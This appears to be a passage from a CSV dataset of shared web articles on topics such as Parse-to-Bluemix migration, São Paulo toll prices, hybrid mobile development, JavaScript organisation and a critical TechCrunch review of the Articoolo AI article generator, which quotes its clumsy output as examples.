1467296491,CONTENT SHARED,2267321579404324900,881856221521045800,-1609125166981192463,,,,HTML,https://developer.ibm.com/bluemix/2016/02/01/migrating-from-parse-to-bluemix/,Migrating from Parse to Bluemix,"This week Parse.com , Facebook's Mobile Backend as a Service offering, shocked both their customers and the development community by announcing that they are sunsetting the service to ""focus resources elsewhere."" Luckily, they're not leaving current customers high and dry - they are giving developers a year's notice before the service is shut down, providing data migration tools to MongoDB , and open-sourcing parse-server , a Parse.com API-compatible router package for Express.js on top of Node.js. If you're a Parse customer looking to move your app infrastructure to someplace secure, then you're in luck. Bluemix is the place for you. In this post, I spell out the process of migrating an application from Parse.com to Bluemix. Let's get started! Create your Parse-on-Bluemix application The first thing you need to do is create an app on Bluemix . If you don't already have a Bluemix account, you can sign up here (it's free to try!). Once you're logged in, it's time to create a new Node.js app on Bluemix to host the Parse server. Click the CREATE APP button on your dashboard. Then, when prompted, select the WEB application option. This doesn't mean that you can't connect a mobile app to it; this option just sets up the backend application server, without provisioning any Bluemix mobile services like Mobile Client Access . The web option is used to deliver REST API calls, but does not support any enhanced mobile security or analytics features. Next you need to specify the type of application you want to create. Bluemix supports a variety of server-side processing options; in this case you want to select ""SDK for Node.js"" and then CONTINUE. Next you are prompted to enter an application name. Go ahead and enter one. (Application names must be unique across Bluemix.) When you click FINISH, the app is staged, and you are presented with instructions and next steps. At this point, click ""Overview"" to go back to the app's dashboard. Add the MongoDB service to your Bluemix application The next step is to create a MongoDB instance to migrate the data from Parse.com. From the app's dashboard select ADD A SERVICE OR API. Scroll down to the ""Data and Analytics"" section and select ""MongoDB by Compose"" to add a MongoDB instance to your application. You are then presented with details for configuring a MongoDB instance. Open up a new browser window for the next step - leave Bluemix open, because you're going to need to come back here to finalize the MongoDB configuration. Create and configure the MongoDB instance on Compose.io The MongoDB instance on Bluemix is available through Compose.io, a recent IBM acquisition. To create and configure the MongoDB instance, click on this Compose link and navigate to compose.io. If you don't already have a Compose account, you need to create one (they're free for 30 days!). Once you're logged in, click on the deployments icon (top icon on the left side) and select the MongoDB option to create a new MongoDB deployment. You need to specify a deployment name and region, then click ""Add deployment"" to create the MongoDB instance. For this example I created a deployment called ""parse-migration"". Next you need to create a database instance. Once the deployment is created, click on ""Add Database"" and create a new database. In this sample I created a database called ""myDatabase"". Once the database is created, you need to add a user account to access the database. On the database screen, select the ""Users"" menu option on the left side, and then click ""Add User"" to create a new user. Next click on the ""Admin"" (gear) link on the left side to view the connection info for your database instance - you're going to need this in the next step. Go back to the Bluemix MongoDB screen and specify the MongoDB host string, port, and login credentials, then click CREATE to finalize the MongoDB configuration within your Bluemix app. The host string is in this format: For this sample app, it is: The port is 10373 , and the username and password are the ones for the account that was just created. Migrating data from Parse.com to your MongoDB instance At this point you're ready to migrate data out of Parse.com, and into the MongoDB instance you just created. Detailed instructions are available in the Parse.com migration guide . Log into Parse.com and select the app that you want to migrate. Go into ""App Settings"", then select ""General"", and click the ""Migrate"" button to begin the process. Note: You must be in the new/beta view to see this option. To begin the migration process, a modal dialog asks you to specify your database connection string. The connection string is in the format: So, in the example app, it is: Click ""Begin the migration"". In a few minutes the migration will complete, and you can return to your MongoDB database on Compose.io to see the migrated data. Note: Migration times vary depending upon the amount of data you need to migrate. Configuring your Bluemix application Next, let's configure some environment variables to use in the Node.js application. On the Bluemix app's dashboard select the ""Environment Variables"" option on the left menu, then select USER-DEFINED. Add environment variables for APP_ID , MASTER_KEY , and REST_KEY that correspond with the App Keys from Parse.com. Also add a PARSE_MOUNT key that contains the path where the services will be exposed on Node.js. For this last one, just use the value /parse . On Parse.com, you can access the ID and Key values by going to the app, selecting ""App Settings"", and then selecting ""Security & Keys"". Save these environment variables. Now we're ready to deploy the Node.js application. Deploy your Bluemix application The parse-server API is a router for Express.js (an application framework for Node.js). It can be easily leveraged in a new Node.js/Express.js app, or dropped into an existing Express.js app to expose the Parse.com API. There is a sample application in the parse-server repository that you can copy to get started. Or, you can take the easy route. IBM Cloud Data Services Developer Advocate Mike Elsmore has put together a base Node.js application that can be quickly deployed that already supports the Bluemix environment configuration. You can click the ""Deploy to Bluemix"" button below to deploy this project directly to Bluemix in a single click, or head over to github.com/ibm-cds-labs/parse-on-bluemix to view the source code. If you want to deploy the application manually, then clone it to your local machine and use the Cloud Foundry API cf push command to push it to Bluemix. You application will be deployed and staged, and it's now ready for consumption. Testing the deployment You should now test the deployment using curl commands from the command line to verify that the migration and deployment were successful. Note: the actual URL depends on your data model. If things were successful, you should see data returned from your parse server instance: Or you can post data to the server to test write ability: What Next? If you are using Parse Cloud Code, then you can copy your Cloud Code files into the Node.js project. (See the ""cloud"" directory in the git project.) For additional details, be sure to check Parse.com's migration guide. Configure the client apps Once you've stood up the new back-end system for your app(s), you're ready to point the mobile client applications to the new back-end infrastructure. The most recent version of the Parse.com SDK introduced the ability to change the server URL (at least version 1.12 for iOS, 1.13.0 for Android, 1.6.14 for JS, 1.7.0 for .NET). Limitations and warnings Parse.com has done a great job providing you with tools to migrate your apps off their platform, but be warned - not all features of the Parse.com platform are available in the open-source parse-server. Push notifications are not implemented. Luckily, the push notification implementation can be modified to support IBM Bluemix's Push notification service , so your app does not have to suffer loss of functionality. In addition, Parse.com's App Links do not have a direct replacement in the parse-server. Many of these offerings have separate Node.js npm modules that can be leveraged, but each requires additional development effort; they are not drop-in ready. App settings are impacted by this transition. This includes social logins, user authentication and sessions. App analytics, the client dashboard, in-app purchases, and jobs are also not supported. Luckily, the Bluemix catalog has many of these features covered, plus a whole lot more. If you run into any cases where the parse-server seems to just ""do nothing"", meaning services don't seem to exist or they fail silently, then double-check your PARSE_MOUNT environment variable and MongoDB connection/host string to make sure they are in the proper formats mentioned above. For more details on transitioning away from Parse.com, be sure to read the sunset announcement , the database migration tool , and the parse-server migration guide .",en
1467296667,CONTENT SHARED,4383035933260676803,-9047547311469006438,-5303937001498940622,,,,HTML,http://liberal.com.br/economia/pedagio-das-rodovias-estaduais-de-sp-sobe-932-na-sexta-feira/,"Pedágio das rodovias estaduais de SP sobe 9,32% na sexta-feira - O Liberal","A partir do dia 1º de julho, as tarifas de pedágio das rodovias estaduais paulistas serão reajustadas em 9,32%, informou nesta quarta-feira, 29, a Agência de Transporte do Estado de São Paulo (Artesp). O reajuste anual é baseado no IPC-A acumulado dos últimos 12 meses, de acordo com o estipulado nos contratos de concessão. A Artesp também autorizou o início da cobrança de pedágio na Rodovia dos Tamoios a partir do dia 1º de julho. A agência diz que a concessionária cumpriu as exigências definidas para a operação das praças. ""Para o início da cobrança era necessária a execução de no mínimo 6% das obras de duplicação do trecho de serra, além de várias outras obrigações"", afirma. LEIA TAMBÉM: Dólar tem leve alta ante o real em meio a leilão do BC As praças dos quilômetros 15,7 e 56,6 passarão a cobrar, respectivamente, R$ 3,50 e R$ 6,20. Conforme a Artesp, a tarifa é parte da remuneração que irá viabilizar a construção de 21,6 quilômetros de novas pistas para a duplicação do trecho de serra da rodovia - obra orçada em R$ 2,6 bilhões. O Sistema de Transporte Intermunicipal Rodoviário de Passageiros também passa a ter novo valor a partir da zero hora do dia 5 de julho. O porcentual de reajuste é de 9,56%.",pt
1467299137,CONTENT SHARED,8814787788150050622,-7711052404720939396,1178199672486930701,,,,HTML,http://japaneselingq.com/page/15,Learn Japanese Online | Japanese Podcast| JapaneseLingQ.com,"First of all, the name itself (which is pronounced Japanese Link) needs a little explaining. The first part, ""Japanese"", is fairly obvious since we teach Japanese. LingQ is the name of our online language learning system which you can find at LingQ.com and where you can learn Japanese online as well as 10 other languages. At LingQ you'll study many different languages in a fun, community atmosphere. The ""Ling"" in LingQ comes from TheLinguist.com, our original system where you could learn English online . Since we're the people behind LingQ we wanted to hang on to the past a little... Lastly, the ""Q"" is important because it forms the speech bubble in our logo and throughout our site and because it makes ""lingq"" sound like ""link"" (we think!) which is what our system does for you. At Japanese LingQ , we LingQ you to a world of real Japanese content we LingQ you to our revolutionary learning tools we LingQ you to a community of fellow Japanese learners Our podcasts may contain interviews, articles, or audiobook excerpts but are most often just general conversations in Japanese. We will usually talk about topics of general interest. Please do send us feedback and topic requests. We're always happy to hear from you. After you listen to the podcast, sign up for a free account at LingQ (l-i-n-g-q.com) and study the full transcript using LingQ's revolutionary learning tools. At LingQ, you may also want to submit writing for correction or join live 1 on 1 and group discussions with our tutors. Plus you will find thousands more podcasts with transcript. Come and find out what LingQ is all about! Of course, even if you don't decide to become a member, you can continue listening to the podcasts as long as you like. One last thing, please let us know how you like the podcasts. What type of content would you like us to put up? How do you find the content? How do you like our system? Send us an email . The more feedback you give us the better we can make JapaneseLingQ!",en
1467304050,CONTENT SHARED,7238948407563080770,-1032019229384696495,4281986266406616538,,,,HTML,https://techcrunch.com/2016/06/28/meet-articoolo-the-robot-writer-with-content-for-brains/,"Meet Articoolo, the robot writer with content for brains","There is great writing. And there is content . And at this juncture in the internet's evolution it seems very plain, Dear Online Reader, that you are mostly being served a tsunami of content - accelerated into your attention trough by click-dependent digital business models that require a steady stream of word fodder to engage eyeballs long enough to ambush them with ads. You can weep for the state of the written word - and let's face it, a whole lot of content isn't even written these days; I mean, why expend energy composing actual sentences when you can just live stream a melon being slow-ploded by rubber bands, or you can build technology to automate the writing process to churn out even more # content? The second option is what Israeli startup Articoolo has been busy doing. It's built an algorithm that can generate an article on a topic of your choice - so long as it can be described in between two and five words. Just sum up your subject concisely, tell the machine how many words (max 500) to scribe on your behalf and select whether you prefer ""better readability"" or ""enhanced uniqueness."" Then hit the create button and sit back and wait for your article to be baked by its AI. Assuming, that is, that your topic is not too obscure for the algorithm to tackle. (In which case it will reject your request and ask you to reword/pick from a list of similar topics to further drain the strain from the creative process.) When there is enough source material in the robot's content data banks it will get to work, progressing through its automated research and drafting process. The time taken to deliver your content will vary, apparently depending on article length and topic complexity (and perhaps demand on Articoolo's servers). The speediest article I managed to generate was a superficial sample of less than 250 words on the topic of ""Kim Kardashian"" - which took the algorithm less than 50 seconds to churn out. Although the result was more a spot treatment on cellulite than a comprehensive appraisal of Kardashian's career. Other subjects definitely broke the minute-to-create mark. Asking the robot to serve up advice on ""How to be Happy"" seemed, oddly enough, to take it the longest of all. To be sure of this, I asked for content on this exact same topic twice - and got the same article, slow baked, word for word, twice. So initially I thought there must be some pretty hard limits on the robot's capacity for original thought. But Articoolo claimed this was a bug; a passing glitch in its infinite copy-generating matrix. And lo and behold, a third attempt on the topic delivered a fresh stream of robotic agony aunting... ""Don't dwell on negative ideas, kick them out and gradually encourage yourself instead. Give yourself permission to grin or laugh out loud as you recall. Do something to make another person feel good, it'll brighten your day overly."" ""The algorithm will write you a different article every time,"" confirms CEO and co-founder Doron Tal. ""Even if you ask for the same topic 100 times. You will get 100 different articles. We actually have a feature for affiliate marketing companies that enables users to create multiple articles on the same topic at once."" The team launched their online copywriting service a few weeks ago in beta, after some two years dev work on the core algorithms - aiming to test the water to see how much bona fide commercial demand there is for automated content generation. Of course there is already plenty of content being churned out online by humans to keep other humans clicking. But how much of a leap is it to flip the switch to autopilot and pump out purely algorithmic arranged thought? Tal, a self-professed ""digital advertising expert,"" says the team founded the business at the end of 2014, after the two other co-founders had been playing around rewriting Wikipedia articles for laughs - which in turn sparked the idea to automate copywriting for ad-driven purposes after he got involved and, he says, had his wicked way with the concept. They've been seed-funded by three local VCs to the tune of $1.2 million at this stage. As you might expect, the initial target customers for Articoolo's service are SEO and content marketing types. So it's not out to replace yours truly just yet. Although the startup claims the results generated by its robot writer are both original and readable. And their pitch email to me was the attention-grabbing one liner: ""will journalists lose their job soon?"" [sic] After testing the service, the truth of the matter is rather less clearly and pithily framed (although the grammar mistakes were at least algorithmically sustained). Less clearly framed unless, that is, you're convinced your 'reader' is unlikely to be doing much more than skimming lightly over the surface of your content like a stone hopping atop a glassy lake, tripping from one hackneyed thought to another, eyeballing words as if they're so many pretty shapes. Fans of cryptic crosswords, who relish the mental adrenaline kicks they get from being forced to slalom from cliché to climax, with precious little in the way of linkage, may also be unlikely appreciators of the robot oracle's semantic gaps. Normal, average readers, however, will struggle to locate much in the way of sense. And discerning readers will read this content and weep. The robot's output is about as intellectually fulfilling as a backwash of used tea leaves. "" Learning how to live a happy life's about learning how you work. Whenever you make the choice, the next thing is to set clear targets of what you need to reach in each among the primary areas of your life ,"" opines the robot scribe, once again on the aforementioned subject of ""How to be Happy,"" mining its eternal font of received wisdom. "" Here is the thing: Trust your very own intuition as to how you would like to use your goals. Do you need to review them every week? Do you need to rewrite them monthly? life's about going with the flow, but also to find out how you perceive the world determines your well-being ."" Clichés, tautologies, non sequiturs. This robot might actually be better employed writing speeches for politicians. Although its bland pronouncements feel like they need to be spiced up with emergency! exclamation! marks! after! each! and! every! word! "" Each one of these stunning sights have to be seen to be enjoyed thoroughly ,"" the machine pens on another well-trodden topic, getting its grammar in a twist again. "" The Seven Wonders of the World possess some good magic to them. You can visit them and live an unforgettable experience for life, "" it drones on with wondrous banality hammered home by additional tautology - right before switching gears and dropping this unexpected last liner: "" Jimmy Singh is connected with Wonders of The All World. "" Jimmy Singh? Who he? ""From the foot spa to the countless designer watches there appears to be nothing you can purchase her that she doesn't already have. Never underestimate the power of the box of hand made chocolates or perhaps a designer silver teapot. A coupon for something she's never done, but want to attempt is always an excellent present idea. This could be something from salsa dancing lessons to sky diving. You can find actually countless experiences you can buy coupons for and web sites that list them all in one spot. All you should do so is choose the right one and you will be giving her a distinctive and thrilling gift."" If you're wondering what input topic elicited this deadpan parade of stereotypical and strangely unexciting suggestions for a lady who apparently has everything yet still desires handmade and bespoke curios, or at least a coupon to go skydiving, it was a request for an article about ""chocolate teapots."" Go figure. ""We still have work to do on the quality,"" Tal admits. ""We wanted to find out if there's a need for a solution like ours and if target audience is ready to pay for it. Our overall strategy is to provide solution to various industries where content is a significant building block."" ""Building blocks of words"" reminds me of the infamous phrase ""binders of women"" for some reason. I wonder why that is? ""No, we don't think our algorithm will be able to replace human journalists, at least in the near future,"" he adds. ""Algorithm doesn't have a point of view, an opinion or an agenda. It can be a helpful tool for reporters. You can count on the algorithm to do most of the background research and provide the base of your article."" Personally I'd view a set of tea leaves/coffee beans, properly brewed in hot water, as a far more useful tool for aiding and abetting the article-creation process - but call me an old-fashioned journalist... But okay, okay, personal preference aside, the ugly reality is that content farms continue filling the internet with tasteless fodder. And these entities' appetite to cement more words into ever more numerous clickable units is only going to grow - at least until all human communication has been rendered down to live streamed slow-ploded melons to keep our eyes perpetually peeled. So if you consider rapacious appetite for ad padding 'a problem', then Articoolo is offering 'a solution' of sorts - albeit probably just another gap filler, treading water until digital marketing missives can be wrapped unmissably across people's eyeballs via some kind of vision-disrupting augmented reality. We'll all be Clockwork Oranges then. In the meantime, far from helping with the wider problem of the internet's abusive relationship with the written word, Articoolo is doing its best to accelerate the slope of the onramp that feeds intellectually vacant slabs of content online like a donut factory feeds a conveyor belt. Clickbait written by robots does feel like we're approaching rock bottom/peak content. Tal says the startup has kicked off pilots with several companies in the native advertising, affiliate marketing and e-commerce spaces at this stage. Although he is not naming names, nor quantifying customer sizes, as yet. The current beta version of the service asks users to buy credits to pay per article created (or rewritten - a secondary feature that's supposed to enhance your article's SEO potential). But the aim, should they be able to prove out enough demand for robotically generated content blocks, is to move to a SaaS model, feeding the digital void with a steady stream of machine-curated ""word textures"" - which I think is a phrase that more properly describes the quality of the commercial output at this germinal stage. How exactly does their algorithm turn a blank page into a wall of text? The various steps involved include: analyzing/understanding topic context; parsing a specific set of related resources (using an indexed source database of ~500GB of ""trusted articles,"" and if it can't find what it's looking for there resorting to the open web); extracting sentiment and ""important keywords"" from the source material in order to turn out ""one coherent piece of text,""; and then rewriting this text, using an NLP engine, for ""multi-level semantic identification and to verify its readability,"" as Tal puts it. ""The most difficult part is the rephrasing process,"" he adds. ""We actually had to teach our algorithm how to use English correctly. It is very complexed and we keep on doing that in order to improve the results."" So human grammar police can chalk up another advantage over the robot. Talking up the plus sides of the word machine, Tal points out it's faster than a human writer and can also scale to levels of productivity that not even the sweatiest and least sociable blogger could hope to achieve. ""No human will be able to write thousands of articles per day!"" is his triumphant claim. Albeit, even at 50 seconds a pop (for the shortest, simplest articles) the robot writer is still not going to be able to turn out 2,000+ articles in 24 hours. More than a thousand, sure. But not multiple thousands - yet. In any case, whether anything except a machine would willingly digest the thousands of pieces of content that could be conjured into existence by Articoolo is a whole other question. But then it's highly probable that the vast majority of these algorithmic content works will languish unread. Because in the ever accelerating game of 'click here to eyeball this', the battle to slay human attention spans has been fought and won. Economics has defeated sense. Call it a sort of reverse Brexit if you will. Progress, apparently, marches in many directions these days. I'll leave you with the robot writer's passing thesis on quantum physics - which at times appears to bend toward a warning on the fickle fluctuations of new media - as a specimen to feed into a wider debate about the worth of algorithmically generated content. And indeed the general proliferation of #content online. In the words of the bot: ""In this chaotic time between the change of one Age into the changing of the brand new age thought and belief systems are running rampant... Don't believe anything you hear and only ten percent of what you see."" Amen to that, at least. The free encyclopedia Wikipedia, tells us that Quantum Entanglement is just a physical system where two or more things are connected with each other even when they're spatially distinguished. It talks about spin measurement and hidden variants, Bell's inequity, H. Study regarding the smallest particle of issue - the physical Quantum. This is where the Quanta is explained as one soul, the smallest neighborhood of the infinite soul, Head of God. There is no real reality, except as detected by a Quanta - an individual spirit. No individual people, nothing blinks out from the Quantum Ocean, Head of God, no physical reality. Let's realize that all is spirit, energy, non real shaking. It is true that every single soul blinked out from the Quantum Ocean, Head of God to experience Life on the real plane. It is also true that the ideas that this personal soul chooses to believe may draw energy out of the ocean Quantum, Mind of God into his\/her aura. The energies one carries in one atmosphere attracts one's physical reality. What needs to be better comprehended is spiritual Quantum Entanglement. Which implies that even though a person soul attracts, it's physical life by ideas and beliefs, they're also influenced by the ideas and beliefs of others. A belief is merely a thought that has been approved and believed about over and over. On a conscious level a soul can be trying very difficult to pick and select the ideas they think and also to believe the beliefs which they believe in. In this chaotic time between the change of one Age into the changing of the brand new age thought and belief systems are running rampant. You can go outside on the Net and purchase a dozen new belief systems to get a dollar. Or they're being electronically spewed outside at us from the mass media. Each time you turn the Television on or read a paper, magazine, see a bill board you're being bombarded by another person's thoughts. These thoughts and impressions might not necessarily affect or harm you do not believe them. Do you believe everything you hear or see? That is a classic definition of present day insanity. To remain sane in these difficult transitional times, we need to embrace the idea: don't believe anything you hear and only ten percent of what you see. It'd be more helpful for mankind if the Quantum Scientists would study Quantum Soul Entanglement. Teach the people more about ideas and beliefs transfer between living souls. Featured Image: Chris Dlugosz / Flickr UNDER A CC BY 2.0 LICENSE",en
1467307915,CONTENT SHARED,-1124738136890721085,7703284633155187943,3321055793810076403,,,,HTML,http://blog.ionic.io/a-baseline-for-hybrid-mobile-developers/,A Baseline for Hybrid Mobile Developers,"I've been presenting on hybrid mobile development for almost five years now. As a web developer, I found the opportunities of hybrid development to be incredibly exciting. All of a sudden, I could take the tools I had been using for over a decade and deploy applications in the mobile space. Like others, I quickly discovered that developing good mobile applications required more skills, experience, and work, of course, but overall, I was excited about taking web standards and applying them to apps. Generally, when I present on hybrid mobile development, whether it be Apache Cordova or Ionic, I begin by talking about the prerequisites. When it comes to ""web knowledge"", I pretty much just leave it that. I assume that if you're interested in learning about hybrid mobile development that you already have some experience with the web. But that's not necessarily the case. Recently, I was helping someone out with a Cordova issue and recommended that they ""simply"" use Ajax to load in some data. Turned out the person had no idea what Ajax was or even how to begin making use of it. This got me to thinking about what level of knowledge would be recommended for people looking to do hybrid mobile development (whether or not they use Ionic, but of course, they should use Ionic). What follows is a set of baseline skills that I'd consider to be required, or highly recommended, before beginning hybrid mobile development. Obviously, this will be a matter of opinion, and I highly encourage people to add to this list in the comments below. 1. HTML I don't know if one can say they have ""learned"" HTML when browsers have begun to innovate almost every month. I'll say I began learning HTML back around '93 or so. I can remember when bgcolor was added to the body tag (this was a ""Big Deal"" back then). I've got twenty plus years of HTML knowledge, and you know what? I still don't know everything. A while ago I ""discovered"" the cite attribute of the blockquote tag. This wasn't new, of course, but I hadn't run into it before. So my point here is, even if you already know HTML, it may make sense to spend some time looking over the guides and just refreshing your skill set. If you are starting from scratch, you'll want to begin with the excellent Mozilla Developer Networks' Introduction to HTML . If you know the basics, then check out the Mozilla Developer Network HTML reference to see if there are tags you don't recognize. All of this can be done in a day, but at a bare minimum, here are the parts of HTML I think will be most important to you. Forms: Since applications require interactivity, and forms create the basic mechanisms by which users interact with web pages, knowing how to build a form and create controls is essential. As for actually working with that data, we'll get to that later on this in article. Structural tags: By this I mean things like div, ul, p, and others I'm probably forgetting. A lot of my JavaScript will interact with these items, either adding to or changing their contents, so understanding these 'block' style tags and how you can use them will be important. One final point regarding HTML. Most people go into web development thinking ""HTML for structure, CSS for design, JavaScript for interactivity"", and that's mostly true, but not entirely. If you've ver used collapsible blocks in things like jQuery Mobile or jQuery UI, you may not know that HTML supports something similar with the details/summary tag pair. It's an interactive set of tags that don't require JavaScript at all. You can also do basic form validation all in HTML, too, without a lick of JavaScript. I think people who have been doing web development for a long time may forget this and not consider an HTML solution instead of JavaScript. 2. CSS I've had a love/hate relationship with CSS. While it is fun to laugh about being a developer with poor design skills, there is no excuse for not understanding how CSS works. Yes, you may not be able to determine what color goes with that. That's obviously something a designer can help with. But you should understand how CSS works with HTML and how to specify layout properties to your elements. The good news is that, once again, Mozilla Developer Network comes to the rescue: Introduction to CSS . As before, I'll recommend the introduction I just linked to and their CSS reference for people who know the basics but want to review what's possible. So what's the minimum? You should be able to add a style sheet to a HTML page. That's relatively simple, but know how to do it. You should know how to use selectors to specify what parts of your app you're modifying with CSS. This will also be helpful for your JavaScript skills, since you'll often be doing selectors there, too. Understand how to set the color, size, and margins for items. Again, don't necessarily be worried about knowing what's ""best"" for these settings, but being able to do basic tweaks here will help until you get a real design in play. As an example, I'll often use basic sizing attributes for a button on my mobile apps to make them easier to 'hit'. My button may still be ugly, but I can at least use it more easily while testing. Understand CSS layout, specifically how CSS can be used to layout a web app. This one I still struggle with. Hell, I have to Google every time I want to center something. (Ok, I'll admit it-I miss the <center> tag.) While I struggle with this area, I know it's ""possible"", and that at least gives me enough information to Google a solution. Obviously, something like Ionic will help cover a lot of your design issues, and that's good, but you really want to have basic CSS skills in your tool belt, anyway. As it stands, most clients are going to want a custom design, anyway, meaning that the ""out of the box"" Ionic look will only be acceptable during prototyping. And much as I ended the HTML section above, I'll also point out that CSS can be ""interactive"", as well. When I began web development, I built a crap-ton of ""roll over menus""-these were menus that would highlight as you moved your mouse over them. But now we have CSS properties that can do the same thing. And of course, there's also a whole set of animations you can do with CSS. 3. JavaScript Ah, the ""big one"". Most (but not all-see both the HTML and CSS section above) interactivity in a web app comes from JavaScript. Of the three main tiers of web development, JavaScript is perhaps the most complex and hardest to pick up. I've been using JavaScript since it was released, and frankly, I think I'll need another ten years or so before I consider myself an expert. Don't be scared by this. For most of us, we won't be building huge complex apps like GMail. You can, and should, start with simple operations. As before, Mozilla is here to help us: JavaScript Guide . So what should you know before starting hybrid mobile development? Understand how JavaScript works with the DOM. Yes, jQuery makes this incredibly easy, but at least understand what jQuery is doing behind the scenes. You want to know how you can read and write the contents of a form field. You want to know how to change the contents of a div tag. When I began web development and was using JavaScript, this was the vast majority of what I did. Understand how to do Ajax requests. Again, jQuery hides some of the complexity here, but you should have a basic understanding of XHR (the technical bits of Ajax) and how to do network requests. As most hybrid mobile apps are single page apps, Ajax is the primary means of communication with servers and is crucial. This is the big one-understanding how to work with asynchronous calls. You absolutely must understand this concept. I think many of us more experienced folks forget just how plain weird this is at first. When learning a scripting language, you just naturally expect that x=foo() will just always work. If you already know the basics, I'll humbly recommend my article, Leveling Up Your JavaScript , which discusses how to go from ""Beginner"" to ""Intermediate."" I felt this article needed to be written because many of the JavaScript things you'll see online can be overly complex or not necessarily practical. I get that it's cool to use JavaScripts to control robots. I get it. However, for a developer struggling to get stuff done, it isn't necessarily helpful. 4. The Rest OK, so you aren't done yet. Here are a few more things I'd suggest. Know that browsers support debugging. If you write to me saying that ""so and so isn't working"", I always reply by asking what you saw in your browser's developer tools. All modern browsers support developer tools, and they contain a huge amount of functionality. You don't need to learn them completely on your first day, but know they exist, how to access them, and where to find the docs. While I linked to Mozilla Developer Network above, also consider CanIUse.com for a quick way to see if browser X supports feature Y. There's a lot of different editors for working with web pages and hybrid mobile apps. The best one is the one you like the most. Don't listen to anyone else's opinion on this. Except mine. Use Visual Studio Code .",en
1467308209,CONTENT SHARED,-3110580810771259448,3938645257702379823,-7890028723638464474,,,,HTML,https://communities.adobe.com/content/usergenerated/content/cush/en/communities/aem_technologistsdevelopersarchitects/events/_jcr_content/par/calendar/ask_the_aem_communit_2.form.html/content/cush/en/communities/aem_technologistsdevelopersarchitects/events/upcoming-event-detail,Webinar do AEM para ajuda na preparação para fazer a prova de certificação.,"Ask the AEM Community Expert July webinar: Preparing for Adobe Experience Manager Developer Exam Have you been working in Experience Manager for over a year? Ready to let the world know your an expert? Have you heard the certification exams are tough? Join Scott MacDonald AEM Community Manager and James Talbot, Technical Enablement Team Lead: for AEM on July 19th for the July developer community webinar. James and Scott will provide suggestions on preparing for the developer exam and cover areas that developers taking the AEM Developer exam is expected to know. If you are planning on taking the AEM Dev Exam within the next 12 months, this is a session you want to attend. Scott MacDonald, James Talbot",en
1467308443,CONTENT SHARED,2607211459879791691,7703284633155187943,3321055793810076403,,,,HTML,http://developer.telerik.com/featured/leveling-up-your-javascript/,Leveling Up Your JavaScript -,"JavaScript is one of those languages that can be easy to pick up, it can be infinitely more difficult to master. However, a lot of articles seem to assume that you are already a master. I've been using JavaScript since its introduction as LiveScript in 1995, but slowly moved away from client-side development to retreat into the safe confines of the server. For the past five years, I've refocused on the client-side. I'm happy to find that browsers are far more competent, powerful, and easier to debug than they were in the early days. But JavaScript has grown in complexity and is not any easier to master. Recently I came to a conclusion. I don't necessarily need to master JavaScript - but I can get better. I am happy being a ""good"" JavaScript developer. What follows are the tips and techniques that I have found to be useful and - most of all - practical in terms of writing JavaScript: organizing code ; linting ; testing ; and using browser developer tools . While some of these may seem obvious to experienced JavaScript developers, it's very easy to fall into bad habits when you are new to a language. These guidelines have helped me level up my skills and produce better experiences for my users. And that's our number one goal, right? You can download the source code for the examples in this article here . Organization As a new JavaScript developer begins learning their craft, they will inevitably begin with a large block of code on top of their HTML page. It always starts simple. A simple bit of jQuery to autofocus a form field. Then maybe form validation. Then a little dialog widget that marketing just loves - you know, the ones that stop people from reading content so that they can Facebook Like the site itself. After a few iterations of this you've got a few hundred lines of JavaScript within an HTML file that probably has a few hundred lines of tags. It's a mess. Stop doing it. It sounds simple, and I'm almost embarrassed to even write it down as a tip, but it is very tempting to just whip up a quick script block on top of your page. Avoid that temptation like the plague please. Make it a habit when you create a new web site to go ahead and create an empty JavaScript file. Include it via the script tag and it will be ready for you when you begin adding interactivity and other client-side features. Once you've gotten off the HTML page (doesn't that feel cleaner?), the next problem you'll run into is organization of the code itself. Those few hundred lines of JavaScript may work just fine, but the first time you have to debug or modify the code after a few months away you may find yourself wondering just where in the heck a particular function exists. So if simply moving a bunch of code off HTML into another file isn't enough, what's the next solution? Frameworks! Obviously a framework is the solution. Move everything to AngularJS. Or Ember. Or React. Or one of the hundred or so other options. Rebuild the entire site into a Single Page Application and MVC and just go crazy. Or maybe not. Don't get me wrong, I love Angular when I'm building apps, but there's a difference between an ""app"" and a web page with interactivity. There's a difference between a fancy Ajax-enhanced product catalog and Gmail - at least a few hundred thousand lines of code different. But if you aren't going to go the framework route, what's the other choice? Design Patterns Design patterns are a fancy way of saying, ""here is an approach to handle a problem that people have had in the past."" They can definitely be useful. Addy Osmani wrote an excellent book on the topic, Learning JavaScript Design Patterns , that you can download and read for free. I recommend it. But an issue I had with the book (and similar discussions on the topic), was that you end up looking at code like this. Abstractly, design patterns made sense to me, but practically , they did not. It was difficult to take the patterns and apply them in context to a real web page with real code. Modules Among all the patterns I read about, I felt like the Module pattern was both the simplest and easiest to apply to existing code. At a high level, the Module Pattern simply creates a package around a set of code. You can take a related collection of functions, drop them into a module, and then explicitly decide what you want to expose. This creates a ""black box"" of code that can more easily be shared amongst other projects. You can also move code in modules into separate files. Let's look at a simple example of the Module Pattern. It has a syntax that may seem weird at first. It certainly did to me. Let's begin with the ""wrapper"" and I'll explain the various bits. So, am I the only one who sees that and gets confused by all the parentheses? Mentally it was difficult to wrap my head around what this was doing - and I know JavaScript. It helped me to look at it from the inside out. You begin with a simple function. This is where you will define the methods you can call on your module. The parenthesis at the end there will then automatically run the function. Whatever we return is the module, which, for now, we're keeping empty. What you see highlighted now is not valid JavaScript however. So what makes it valid? The parenthesis around the function() { }() block is what makes this whole thing valid JavaScript. If you don't believe me, you can open up your developer tools console and try entering that yourself. Which brings up back to the beginning... The very last thing that happens is the result is assigned to a variable. Even with me personally understanding of all this, every time I see this in code I have to mentally pause for a second and remind myself of just what in the heck is going on here. I'm not ashamed to say it - I keep this code handy in my editor so I can copy and paste the 'empty' Module for quick reuse. Now that we've gotten over the hump of that slightly weird syntax, what does an actual Module pattern look like? The previous code creates a module called counterModule . It has two functions: incrementCounter and resetCounter . Using them could look something like this: The idea is that all of the code behind my counterModule is packaged away nicely. Packaging is computer science 101, and the future of JavaScript will provide even simpler ways of doing this, but for now, I find the Module pattern to an incredibly simple, practical way of handling the issue of organization. A Practical Module Sample I began this discussion by complaining about the appropriateness of some of the examples I see online (see the Car example). Let's build a simple example of this that actually matches a real world scenario. I'm going to keep it simple for the sake of this article, but applicable to something you may actually encounter in a real web application. Your online game company, Lyntendo (don't sue me), has a user sign up portal where users must create a game identity. You need to build a form where the user can select a name. The rules for identifiers are a bit weird: Identifiers must begin with capital letter. Identifiers must be two or more characters long. Spaces are allowed, but no punctuation. Identifiers can't include certain ""naughty"" words. Let's mock this up in an incredibly simple form. You can see the form I mentioned as well as a submit button. I'd 